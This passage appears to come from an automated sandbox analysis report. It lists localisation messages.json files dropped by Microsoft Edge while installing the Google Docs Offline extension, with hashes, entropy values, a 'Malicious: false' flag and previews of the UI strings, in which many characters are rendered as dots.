SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7956_1427163080\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
